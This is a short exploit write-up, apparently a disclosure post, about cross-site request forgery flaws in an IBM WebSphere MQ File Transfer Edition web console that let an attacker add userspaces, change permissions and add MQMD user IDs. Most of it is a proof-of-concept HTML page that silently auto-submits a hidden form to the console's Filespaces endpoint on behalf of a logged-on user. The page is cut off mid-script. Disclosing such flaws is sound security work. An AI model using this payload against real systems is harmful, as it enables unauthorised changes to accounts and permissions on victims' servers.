*Exploit Author:* Nir Valtman
*Description:* Malicious user is able to add userspace, change permissions
on existing userspace and add MQMD (MQ Message Descriptor) user IDs. All of
the these vulnerabilities can be exploited using a CSRF (Cross Site Request
Forgery) attack.
Few days ago the CVE has
been published here<http://www-01.ibm.com/support/docview.wss?uid=swg21607482>

*Exploit Details:*
*1. CSRF To add user and define his quota on a userspace*
I created the following HTML page and then opened it by a logged-on user:
<html>
<head></head>
<body>
<form id="frm" method="post"
action="https://*[ip-address-and-port]* /wmqfteconsole/Filespaces"
<input type="hidden"
name="nirvcsrf" value="junk" />
<input type="hidden"
name="name" value="zzzzzz" />
<input type="hidden"
name="quota" value="15" />
<input type="hidden"
name="id" value="NewFileSpace" />
</form>
<script>
document.frm.submit();
